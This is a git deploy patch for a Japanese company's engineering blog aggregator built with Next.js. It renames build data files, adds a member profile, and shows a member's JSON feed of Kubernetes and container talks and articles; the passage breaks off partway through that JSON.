From 42bbf4799f67c7324fc71270352a8ee00bd887b1 Mon Sep 17 00:00:00 2001 From: Ota1022 Date: Thu, 9 Jan 2025 08:37:14 +0000 Subject: [PATCH] deploy: 411acec5a762637afb71b0602f9e4850ffef3dfc --- 404.html | 2 +- .../kylJxHQl-Q7H_TMHaEHZR/members/bells17.json | 1 - .../kylJxHQl-Q7H_TMHaEHZR/members/nwiizo.json | 1 - .../members/Reckoner.json | 0 .../members/SatohJohn.json | 0 .../members/Sreake.json | 0 .../members/atsuya0.json | 0 .../members/atusy.json | 0 .../members/bayobayo0324.json | 0 .../oU_n95RGLi69Ba0jG0Y2K/members/bells17.json | 1 + .../members/gawingowin.json | 0 .../members/hide-1.json | 0 .../members/hiroki-hasegawa.json | 0 .../oU_n95RGLi69Ba0jG0Y2K/members/iota.json | 1 + .../members/ixsakra.json | 0 .../members/k-nagase.json | 0 .../members/kaisato.json | 0 .../members/kaita-nakamura.json | 0 .../members/kiyos.json | 0 .../members/kobuchi.json | 0 .../members/kojake_300.json | 0 .../members/komiyama5380.json | 0 .../members/kurita.json | 0 .../members/kyohmizu.json | 0 .../members/masasuzu.json | 0 .../members/melanmeg.json | 0 .../members/mos914.json | 0 .../members/moz-sec.json | 0 .../members/myamamoto.json | 0 .../members/nnaka2992.json | 0 .../members/nomadblacky.json | 0 .../oU_n95RGLi69Ba0jG0Y2K/members/nwiizo.json | 1 + .../members/raba-jp.json | 0 .../members/sakama.json | 0 .../members/satoken.json | 0 .../members/seno.json | 0 .../members/skikkh.json | 0 .../members/sosan01.json | 0 .../members/stakamura.json | 0 .../members/tayakun.json | 0 .../members/tez.json | 0 .../members/toVersus.json | 0 .../members/toshikish.json | 0 .../members/tozastation.json | 0 .../members/unvavo.json | 0 .../members/ysakurai.json | 0 .../members/yteraoka.json | 0 .../members/yuu0w0yuu.json | 0 .../members/yyamada.json | 0 _next/static/chunks/983-092b9eda4d700a84.js | 1 + _next/static/chunks/983-242306168399638f.js | 1 - .../_buildManifest.js | 2 +- .../_ssgManifest.js | 0 avatars/iota.jpg | Bin 0 -> 10697 bytes feed.xml | 4 ++-- index.html | 2 +- members.html | 2 +- members/Reckoner.html | 2 +- members/SatohJohn.html | 2 +- members/Sreake.html | 2 +- members/atsuya0.html | 2 +- members/atusy.html | 2 +- members/bayobayo0324.html | 2 +- members/bells17.html | 2 +- members/gawingowin.html | 2 +- members/hide-1.html | 2 +- members/hiroki-hasegawa.html | 2 +- members/iota.html | 1 + members/ixsakra.html | 2 +- members/k-nagase.html | 2 +- members/kaisato.html | 2 +- members/kaita-nakamura.html | 2 +- members/kiyos.html | 2 +- members/kobuchi.html | 2 +- members/kojake_300.html | 2 +- members/komiyama5380.html | 2 +- members/kurita.html | 2 +- members/kyohmizu.html | 2 +- members/masasuzu.html | 2 +- members/melanmeg.html | 2 +- members/mos914.html | 2 +- members/moz-sec.html | 2 +- members/myamamoto.html | 2 +- members/nnaka2992.html | 2 +- members/nomadblacky.html | 2 +- members/nwiizo.html | 2 +- members/raba-jp.html | 2 +- members/sakama.html | 2 +- members/satoken.html | 2 +- members/seno.html | 2 +- members/skikkh.html | 2 +- members/sosan01.html | 2 +- members/stakamura.html | 2 +- members/tayakun.html | 2 +- members/tez.html | 2 +- members/toVersus.html | 2 +- members/toshikish.html | 2 +- members/tozastation.html | 2 +- members/unvavo.html | 2 +- members/ysakurai.html | 2 +- members/yteraoka.html | 2 +- members/yuu0w0yuu.html | 2 +- members/yyamada.html | 2 +- 103 files changed, 56 insertions(+), 54 deletions(-) delete mode 100644 _next/data/kylJxHQl-Q7H_TMHaEHZR/members/bells17.json delete mode 100644 _next/data/kylJxHQl-Q7H_TMHaEHZR/members/nwiizo.json rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/Reckoner.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/SatohJohn.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/Sreake.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/atsuya0.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/atusy.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/bayobayo0324.json (100%) create mode 100644 _next/data/oU_n95RGLi69Ba0jG0Y2K/members/bells17.json rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/gawingowin.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/hide-1.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/hiroki-hasegawa.json (100%) create mode 100644 _next/data/oU_n95RGLi69Ba0jG0Y2K/members/iota.json rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/ixsakra.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/k-nagase.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/kaisato.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/kaita-nakamura.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/kiyos.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/kobuchi.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/kojake_300.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/komiyama5380.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/kurita.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/kyohmizu.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/masasuzu.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/melanmeg.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/mos914.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/moz-sec.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/myamamoto.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/nnaka2992.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/nomadblacky.json (100%) create mode 100644 _next/data/oU_n95RGLi69Ba0jG0Y2K/members/nwiizo.json rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/raba-jp.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/sakama.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/satoken.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/seno.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/skikkh.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/sosan01.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/stakamura.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/tayakun.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/tez.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/toVersus.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/toshikish.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/tozastation.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/unvavo.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/ysakurai.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/yteraoka.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/yuu0w0yuu.json (100%) rename _next/data/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/members/yyamada.json (100%) create mode 100644 _next/static/chunks/983-092b9eda4d700a84.js delete mode 100644 _next/static/chunks/983-242306168399638f.js rename _next/static/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/_buildManifest.js (78%) rename _next/static/{kylJxHQl-Q7H_TMHaEHZR => oU_n95RGLi69Ba0jG0Y2K}/_ssgManifest.js (100%) create mode 100644 avatars/iota.jpg create mode 100644 members/iota.html diff --git a/404.html b/404.html index f4f0143d3d..566fbdf7a0 100644 --- a/404.html +++ b/404.html @@ -1 +1 @@ -404 not found | 3-shake Engineers' Blogs
404

Page not found...

© 3-shake Inc.

\ No newline at end of file +404 not found | 3-shake Engineers' Blogs
404

Page not found...

© 3-shake Inc.

\ No newline at end of file diff --git a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/bells17.json b/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/bells17.json deleted file mode 100644 index f403f4dee2..0000000000 --- a/_next/data/kylJxHQl-Q7H_TMHaEHZR/members/bells17.json +++ /dev/null @@ -1 +0,0 @@ -{"pageProps":{"member":{"id":"bells17","name":"bells17","role":"Software Engineer","bio":"Software Engineer","avatarSrc":"/avatars/bells17.jpeg","sources":["https://zenn.dev/bells17/feed","https://medium.com/feed/@bells17","https://speakerdeck.com/bells17.rss"],"includeUrlRegex":"","twitterUsername":"bells17_","githubUsername":"bells17","websiteUrl":"https://bells17.io/"},"postItems":[{"title":"コミュニティ紹介: Kubernetes Meetup Novice","link":"https://speakerdeck.com/bells17/komiyuniteishao-jie-kubernetes-meetup-novice","contentSnippet":"Cloud Native Days Winter 2024のCommunity & Beginner LTでお話した資料です。\r\rhttps://pfem.notion.site/CNDW2024-Community-Beginner-LT-13821b0141e0800cb403c880cb4d2738","isoDate":"2024-11-28T05:00:00.000Z","dateMiliSeconds":1732770000000,"authorName":"bells17","authorId":"bells17"},{"title":"社内活動の取り組み紹介~ スリーシェイクでこんな取り組みしてます ~","link":"https://speakerdeck.com/bells17/she-nei-huo-dong-noqu-rizu-mishao-jie-surisieikudekonnaqu-rizu-misitemasu","contentSnippet":"CloudNative Days Winter 2024 船上LT会 小さな一歩、大きな飛躍〜クラウドネイティブを継続する〜 で発表したLT資料です。\rhttps://cloudnativedays.connpass.com/event/334620/","isoDate":"2024-11-26T05:00:00.000Z","dateMiliSeconds":1732597200000,"authorName":"bells17","authorId":"bells17"},{"title":"モダンインフラの基礎を学ぼう!実践コンテナ入門","link":"https://speakerdeck.com/bells17/motaninhuranoji-chu-woxue-hou-shi-jian-kontenaru-men","contentSnippet":"技育CAMPアカデミアでの発表資料です\rhttps://talent.supporterz.jp/events/8cb9a300-506c-4d9d-b2af-e9924e0209a2/","isoDate":"2024-07-17T04:00:00.000Z","dateMiliSeconds":1721188800000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubernetes Code Contribution入門","link":"https://speakerdeck.com/bells17/kubernetes-code-contributionru-men","contentSnippet":"Kubernetes Novice Tokyo #32 で登壇したセッションの資料です。\rhttps://k8s-novice-jp.connpass.com/event/317561/\r\r配信URL:\rhttps://www.youtube.com/live/sRLG9ufaZ4M","isoDate":"2024-05-21T04:00:00.000Z","dateMiliSeconds":1716264000000,"authorName":"bells17","authorId":"bells17"},{"title":"Dev ContainersとTestcontainers","link":"https://speakerdeck.com/bells17/devcontainerstotestcontainers","contentSnippet":"TechFeed Experts Night#28 〜 コンテナ技術最前線 〜で登壇したセッションの資料です。\rhttps://techfeed.io/events/techfeed-experts-night-28","isoDate":"2024-05-08T04:00:00.000Z","dateMiliSeconds":1715140800000,"authorName":"bells17","authorId":"bells17"},{"title":"Dev Containerを使ってみよう","link":"https://zenn.dev/bells17/articles/devcontainer-2024","contentSnippet":"Dev Containerを使ってみようDev Containerを使う上で知っておくと良さげな情報のまとめ記事です前にRemote SSHでDev Containerの環境を構築する記事を書いたので、今回はDev Container全般の情報をまとめてみましたhttps://zenn.dev/bells17/articles/remote-ssh-devcontainer tl;drDev Containerを使うと開発環境をコンテナで構築できるよ(ランタイムとかツール類含めて!)docker composeだとアプリケーションを動作させる環境は作れるけどDev C...","isoDate":"2024-04-22T18:05:48.000Z","dateMiliSeconds":1713809148000,"authorName":"bells17","authorId":"bells17"},{"title":"アーキテクチャから学ぶKubernetesの全体像","link":"https://speakerdeck.com/bells17/akitekutiyakaraxue-hukubernetesnoquan-ti-xiang","contentSnippet":"Developers Summit(デブサミ)2024で登壇したセッションの資料です。\r\r- https://event.shoeisha.jp/devsumi/20240215\r- https://event.shoeisha.jp/devsumi/20240215/session/4777\r\rセッション解説記事:\rhttps://codezine.jp/article/detail/19131","isoDate":"2024-02-15T05:00:00.000Z","dateMiliSeconds":1707973200000,"authorName":"bells17","authorId":"bells17"},{"title":"Controllerを作ってみよう~ Kubernetes Controllerハンズオン ~","link":"https://speakerdeck.com/bells17/controllerwozuo-tutemiyou-kubernetes-controllerhansuon","contentSnippet":"イベントURL: https://k8s-novice-jp.connpass.com/event/300442/\r参考リポジトリ: https://github.com/bells17/k8s-controller-example\r\rその他リンク:\r\rhttps://github.com/kubernetes/sample-controller\rhttps://github.com/kubernetes/kubernetes/blob/v1.29.1/pkg/controller/clusterroleaggregation/clusterroleaggregation_controller.go\rhttps://github.com/kubernetes/client-go/tree/v12.0.0\rhttps://github.com/kubernetes/client-go/blob/v12.0.0/tools/cache/reflector.go\rhttps://github.com/kubernetes/client-go/tree/v12.0.0/informers\rhttps://github.com/kubernetes/client-go/blob/v12.0.0/tools/cache/store.go\rhttps://github.com/kubernetes/client-go/blob/v12.0.0/tools/cache/delta_fifo.go\rhttps://github.com/kubernetes/client-go/blob/v12.0.0/util/workqueue/rate_limiting_queue.go","isoDate":"2024-01-30T05:00:00.000Z","dateMiliSeconds":1706590800000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubernetesに対する理解を高めてKubernetesの「わからない」を減らそう","link":"https://speakerdeck.com/bells17/kubernetesnidui-suruli-jie-wogao-metekubernetesno-wakaranai-wojian-rasou","contentSnippet":"Kubernetes Novice Tokyo #29 で発表したLT資料です\r\rイベントURL: https://k8s-novice-jp.connpass.com/event/300438/\r動画URL: https://www.youtube.com/watch?v=WZHDlB8P9_4\r\r参考資料:\rhttps://github.com/kubernetes/kubernetes/tree/v1.28.4 \rhttps://github.com/coredns/coredns/tree/v1.11.1 \rhttps://github.com/coredns/example \rhttps://github.com/coredns/coredns/blob/v1.11.1/plugin/kubernetes/README.md \rhttps://github.com/kubernetes/dns/blob/1.22.28/docs/specification.md \rhttps://github.com/kubernetes/cri-api/blob/v0.28.4/pkg/apis/runtime/v1/api.proto \rhttps://coredns.io/2017/03/01/how-to-add-plugins-to-coredns/\rhttps://coredns.io/2016/12/19/writing-plugins-for-coredns/ \rhttps://github.com/coredns/example \rhttps://github.com/coredns/coredns/blob/v1.11.1/plugin.md \r\rセッション内容の詳しい資料:\rhttps://bells17.booth.pm/items/3129761\rhttps://bells17.booth.pm/items/2649601\rhttps://speakerdeck.com/bells17/implementation-of-kubeadm-init\rhttps://speakerdeck.com/bells17/kube-api-server-k8sjp\rhttps://speakerdeck.com/bells17/kube-controller-managerru-men\rhttps://speakerdeck.com/bells17/kube-proxyru-men\rhttps://speakerdeck.com/bells17/kubernetestocorednsnituiteli-jie-suru\rhttps://speakerdeck.com/bells17/cloud-controller-manager-deep-dive\rhttps://speakerdeck.com/bells17/introduction-to-csi\rhttps://speakerdeck.com/bells17/kubelet-and-containers\rhttps://speakerdeck.com/bells17/cri-spec-and-dockershim-implementation","isoDate":"2023-12-21T05:00:00.000Z","dateMiliSeconds":1703134800000,"authorName":"bells17","authorId":"bells17"},{"title":"KubernetesとCoreDNSについて理解する","link":"https://speakerdeck.com/bells17/kubernetestocorednsnituiteli-jie-suru","contentSnippet":"3-shake SRE Tech Talk #8 で発表したLT資料です\r\rイベントURL: https://3-shake.connpass.com/event/302755/\r動画URL: https://www.youtube.com/watch?v=8JbfniqxNQk\r\r参考資料:\rhttps://github.com/kubernetes/kubernetes/tree/v1.28.4 \rhttps://github.com/coredns/coredns/tree/v1.11.1 \rhttps://github.com/coredns/example \rhttps://github.com/coredns/coredns/blob/v1.11.1/plugin/kubernetes/README.md \rhttps://github.com/kubernetes/dns/blob/1.22.28/docs/specification.md \rhttps://github.com/kubernetes/cri-api/blob/v0.28.4/pkg/apis/runtime/v1/api.proto \rhttps://coredns.io/2017/03/01/how-to-add-plugins-to-coredns/\rhttps://coredns.io/2016/12/19/writing-plugins-for-coredns/ \rhttps://github.com/coredns/example \rhttps://github.com/coredns/coredns/blob/v1.11.1/plugin.md","isoDate":"2023-12-18T05:00:00.000Z","dateMiliSeconds":1702875600000,"authorName":"bells17","authorId":"bells17"},{"title":"Chainguard imagesについて調べてみた","link":"https://zenn.dev/bells17/articles/chainguard-images","contentSnippet":"※この記事は3-shake Advent Calendar 2023 シリーズ1の12月5日の記事です最近Chainguard imagesというdistrolessコンテナイメージについて知ったので、簡単に調べてみました。 Chainguard imagesとは?Chainguard imagesはChainguard社によって提供されているdistrolessを中心としたセキュアなコンテナイメージ群だ、という理解です。Wolfiという(おそらくこれもChainguard社が開発している)コンテナ・クラウドネイティブ用途向けのLinux undistroなOSを利用して各C...","isoDate":"2023-12-05T03:58:09.000Z","dateMiliSeconds":1701748689000,"authorName":"bells17","authorId":"bells17"},{"title":"KEP-3063: Dynamic resource allocation","link":"https://speakerdeck.com/bells17/kep-3063-dynamic-resource-allocation","contentSnippet":"KEP持ち寄り会で発表した資料です。\rKubernetesのKEP \"Dynamic resource allocation\" に関する情報をまとめた内容になります。\r\rイベントURL: https://kep.connpass.com/event/299651/\r参考資料:\r\rhttps://zenn.dev/toversus/articles/fe2aa06f133b49 \rhttps://kubernetes.io/blog/2022/12/15/dynamic-resource-allocation/ \rhttps://github.com/kubernetes/enhancements/blob/master/keps/sig-node/3063-dynamic-resource-allocation/README.md \rhttps://github.com/kubernetes-sigs/dra-example-driver/blob/main/demo/demo-apps.png \rhttps://github.com/kubernetes/enhancements/blob/master/keps/sig-node/3063-dynamic-resource-allocation/components.png \rhttps://github.com/cncf-tags/container-device-interface \rhttps://github.com/containerd/containerd/blob/v1.7.9/pkg/cri/server/container_create_linux.go#L417-L419 \rhttps://github.com/cncf-tags/container-device-interface/blob/main/pkg/cdi/container-edits.go#L70-L148 \rhttps://github.com/kubernetes/enhancements/blob/master/keps/sig-node/3063-dynamic-resource-allocation/README.md \rhttps://github.com/kubernetes/kubernetes/pull/111023 \rhttps://github.com/orgs/kubernetes/projects/95/views/1 \rhttps://github.com/kubernetes/dynamic-resource-allocation \rhttps://www.cncf.io/projects/akri/ \rhttps://github.com/kubernetes-sigs/dra-example-driver \rhttps://github.com/NVIDIA/k8s-dra-driver \rhttps://github.com/intel/intel-resource-drivers-for-kubernetes \rhttps://github.com/intel/intel-device-plugins-for-kubernetes \rhttps://docs.google.com/document/d/1BNWqgx_SmZDi-va_V31v3DnuVwYnF2EmN7D-O_fB6Oo/edit#heading=h.bxuci8gx6hna \rhttps://drive.google.com/file/d/1iLg2FEAEilb1dcI27TnB19VYtbcvgKhS/view\rhttps://developer.nvidia.com/blog/nvidia-gpu-operator-simplifying-gpu-management-in-kubernetes/ \rhttps://docs.nvidia.com/datacenter/cloud-native/gpu-operator/latest/overview.html \rhttps://docs.nvidia.com/datacenter/cloud-native/gpu-operator/latest/cdi.html \rhttps://intel.github.io/intel-device-plugins-for-kubernetes/README.html \rhttps://github.com/NVIDIA/k8s-device-plugin\rhttps://blogs.nvidia.com/blog/multi-instance-gpus/ \rhttps://developer.nvidia.com/blog/nvidia-ampere-architecture-in-depth/ \rhttps://groups.google.com/a/kubernetes.io/g/dev/c/BDtCFfXQbw0?pli=1\rhttps://kubernetes.slack.com/archives/C032ZE66A2X/p1700215190429689 \rhttps://kubernetes.slack.com/archives/C032ZE66A2X/p1700215190429689","isoDate":"2023-11-27T05:00:00.000Z","dateMiliSeconds":1701061200000,"authorName":"bells17","authorId":"bells17"},{"title":"kube-proxy入門","link":"https://speakerdeck.com/bells17/kube-proxyru-men","contentSnippet":"Kubernetes Novice Tokyo #28 の登壇資料です\r\rイベントURL: https://k8s-novice-jp.connpass.com/event/293157/\r配信URL: https://www.youtube.com/watch?v=LSW51Cm0Wc0\r\rコードリーディングメモ:\rhttps://zenn.dev/bells17/scraps/5e41da598a8266\r\r参考資料:\rhttps://github.com/kubernetes/kubernetes/tree/v1.28.2 \rhttps://speakerdeck.com/ryusa/servicewotazunete3000xing-kuberneteskodorideingufalselu \rhttps://qiita.com/Tocyuki/items/6d90a1ec4dd8e991a1ce \rhttps://oxynotes.com/?p=6361#5 \rhttps://atmarkit.itmedia.co.jp/ait/articles/1002/09/news119.html \rhttps://hana-shin.hatenablog.com/entry/2022/06/21/215757 \rhttps://qiita.com/syui/items/27020b970775a0c508ba \rhttps://www.digitalocean.com/community/tutorials/iptables-essentials-common-firewall-rules-and-commands \rhttps://www.asahi-net.or.jp/~aa4t-nngk/ipttut/output/explicitmatches.html \rhttps://github.com/torvalds/linux/blob/master/Documentation/networking/nf_conntrack-sysctl.rst \rhttps://tech-blog.rakus.co.jp/entry/20220301/iptables \rhttps://linuxjm.osdn.jp/html/iptables/man8/iptables-extensions.8.html \rhttps://man.archlinux.org/man/conntrack.8.en \rhttps://nomeu.net/8380/ \rhttps://knowledge.sakura.ad.jp/4048/ \rhttps://docs.openshift.com/container-platform/4.10/rest_api/network_apis/service-v1.html \rhttps://stackoverflow.com/questions/75835169/kubernetes-loadbalancer-how-does-healthchecknodeport-work \rhttps://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/#preserving-the-client-source-ip \rhttps://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/ \rhttps://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/ \rhttps://hyoublog.com/2020/05/20/kubernetes-externalip-service/ \rhttps://qiita.com/dingtianhongjie/items/8f3c320c4eb5cf25d9de \rhttps://milestone-of-se.nesuke.com/nw-basic/as-nw-engineer/loopback-address-interface/ \rhttps://kubernetes.io/docs/reference/networking/virtual-ips/ \rhttps://kubernetes.io/docs/concepts/services-networking/service/ \rhttps://kubernetes.io/ja/docs/concepts/services-networking/connect-applications-service/ \rhttps://knowledge.sakura.ad.jp/22636/ \rhttps://netfilter.org/index.html \rhttps://madomadox.hatenablog.com/entry/2021/01/03/190730 \rhttps://qiita.com/bashaway/items/e405d59d92670fbc5341 \rhttps://www.digitalocean.com/community/tutorials/a-deep-dive-into-iptables-and-netfilter-architecture \rhttps://tech-blog.rakus.co.jp/entry/20220301/iptables \rhttps://www.asahi-net.or.jp/~aa4t-nngk/ipttut/output/explicitmatches.html \rhttps://eng-entrance.com/linux-firewall \r\r\r画像引用元:\rhttps://github.com/kubernetes/community/tree/master/icons \rhttps://github.com/kubernetes/kubernetes/tree/master/logo \rhttps://github.com/cncf/artwork/tree/master/projects/kubernetes \rhttps://github.com/kubernetes/kubeadm/tree/main/logos","isoDate":"2023-11-09T05:00:00.000Z","dateMiliSeconds":1699506000000,"authorName":"bells17","authorId":"bells17"},{"title":"kube-controller-manager入門","link":"https://speakerdeck.com/bells17/kube-controller-managerru-men","contentSnippet":"SRETT #7 で発表した資料です。\rhttps://3-shake.connpass.com/event/293432/\r\r発表のライブ配信はこちら。\rhttps://www.youtube.com/watch?v=h1VxlvF9bls\r\rzennのスクラップ:\rhttps://zenn.dev/bells17/scraps/592a02b3bc1ff3\r\rスライドで紹介した参考リンク集:\r- https://github.com/kubernetes/kubernetes/tree/v1.28.2","isoDate":"2023-10-12T04:00:00.000Z","dateMiliSeconds":1697083200000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubernetesソースコードリーディング入門","link":"https://speakerdeck.com/bells17/kubernetessosukotoriteinkuru-men","contentSnippet":"Kubernetes Novice Tokyo #27 で発表した資料です。\rhttps://k8s-novice-jp.connpass.com/event/293144/\r\r発表のライブ配信はこちら。\rTODO\r\rスライドで紹介した参考リンク集:\rhttps://bells17.medium.com/things-you-should-know-about-reading-kubernetes-codes-933b0ee6181d \rhttps://www.amazon.co.jp/dp/4297104385/\rhttps://www.amazon.co.jp/dp/4297118378/ \rhttps://go.dev/tour/welcome/1 \rhttps://gopherdojo.org/studyroom/ \rhttps://www.amazon.co.jp/dp/4621300253/ \rhttps://speakerdeck.com/bells17/kubelet-and-containers \rhttps://speakerdeck.com/ryusa/servicewotazunete3000xing-kuberneteskodorideingufalselu \rhttps://speakerdeck.com/bells17/kube-api-server-k8sjp \rhttps://speakerdeck.com/sanposhiho/zi-zuo-sitexue-bukubernetes-schedulerru-men \rhttps://speakerdeck.com/bells17/cloud-controller-manager-deep-dive \rhttps://speakerdeck.com/masayaaoyama/infrastudy2-k8s \rhttps://github.com/kubernetes/client-go/tree/master/examples/workqueue \rhttps://github.com/kubernetes/sample-controller/blob/master/controller.go \rhttps://github.com/kubernetes-sigs/kubebuilder \rhttps://speakerdeck.com/bells17/kubebuilder-introduction \rhttps://zoetrope.github.io/kubebuilder-training/ \rhttps://github.com/cybozu-go \rhttps://www.youtube.com/watch?v=yqB_le-N6EE \rhttps://github.com/kubernetes/enhancements/blob/master/keps/sig-instrumentation/1602-structured-logging/README.md \rhttps://github.com/kubernetes/enhancements/issues/1602 \rhttps://github.com/kubernetes/klog/issues/125 \rhttps://github.com/kubernetes/klog/pull/126 \rhttps://github.com/kubernetes-csi \rhttps://kubernetes-csi.github.io/docs/drivers.html \rhttps://speakerdeck.com/bells17/introduction-to-csi \rhttps://github.com/kubernetes/kubeadm \rhttps://speakerdeck.com/bells17/implementation-of-kubeadm-init \rhttps://github.com/kubernetes-sigs/metrics-server \rhttps://speakerdeck.com/bells17/metrics-server \rhttps://speakerdeck.com/bells17/accurate-introduction \rhttps://github.com/cybozu-go/accurate \rhttps://slack.k8s.io/ \rhttps://www.youtube.com/watch?v=Ayo5w-CSmP0 \rhttps://github.com/kubernetes/community","isoDate":"2023-09-12T04:00:00.000Z","dateMiliSeconds":1694491200000,"authorName":"bells17","authorId":"bells17"},{"title":"スリーシェイクに入社しました!","link":"https://bells17.medium.com/3-shake-279ea982b977?source=rss-713cf42ce34d------2","isoDate":"2023-07-03T14:10:50.000Z","dateMiliSeconds":1688393450000,"authorName":"bells17","authorId":"bells17"},{"title":"Go言語でNetlinkを少し触った話","link":"https://zenn.dev/bells17/articles/netlink-goexample","contentSnippet":"Go言語でNetlinkを少し触ったのでメモ。具体的にはGo言語でNetlinkというネットワーク関連のライブラリを使ってStatic Routeを設定したりするサンプルを作ったりした。https://github.com/bells17/netlink-gosample Netlinkとは調べた範囲だと、Linuxカーネルのサブシステムの1つで、ルーティングテーブルの管理などのネットワーク関連の設定などを行う際に利用されるもの、という理解をしている。Netlinkは、Linuxカーネルとユーザ空間プロセス間の、またはカーネル内の通信を提供するためのIPC(Inter-pro...","isoDate":"2023-06-08T18:03:10.000Z","dateMiliSeconds":1686247390000,"authorName":"bells17","authorId":"bells17"},{"title":"ArtifactHUBについてのメモ","link":"https://zenn.dev/bells17/articles/artifacthub-note","contentSnippet":"ArtifactHUB というコンテナイメージHelm Chartなどを登録・検索することのできるツールを試してみたのでメモ。https://artifacthub.io/ ArtifactHUB についてコンテナイメージHelm Chartなどを「リポジトリ」として登録・検索することができるよう。登録できるリポジトリの種類は下記で確認できる。https://artifacthub.io/docs/topics/repositories/アカウント登録方法は現在下記の3つがあるemailgithubgoogle リポジトリの登録リポジトリ登...","isoDate":"2023-01-21T18:21:58.000Z","dateMiliSeconds":1674325318000,"authorName":"bells17","authorId":"bells17"},{"title":"container-structure-testによるコンテナのテスト","link":"https://zenn.dev/bells17/articles/container-structure-test","contentSnippet":"Googleが作成しているcontainer-structure-testというコンテナをテストするツールを試したのでメモ。かなり単純なツールなのでぶっちゃけREADMEに書いてあることを読めばわかるんだけど一応情報をまとめた。https://github.com/GoogleContainerTools/container-structure-testGoogleのブログで紹介されている記事はこちら。https://opensource.googleblog.com/2018/01/container-structure-tests-unit-tests.html 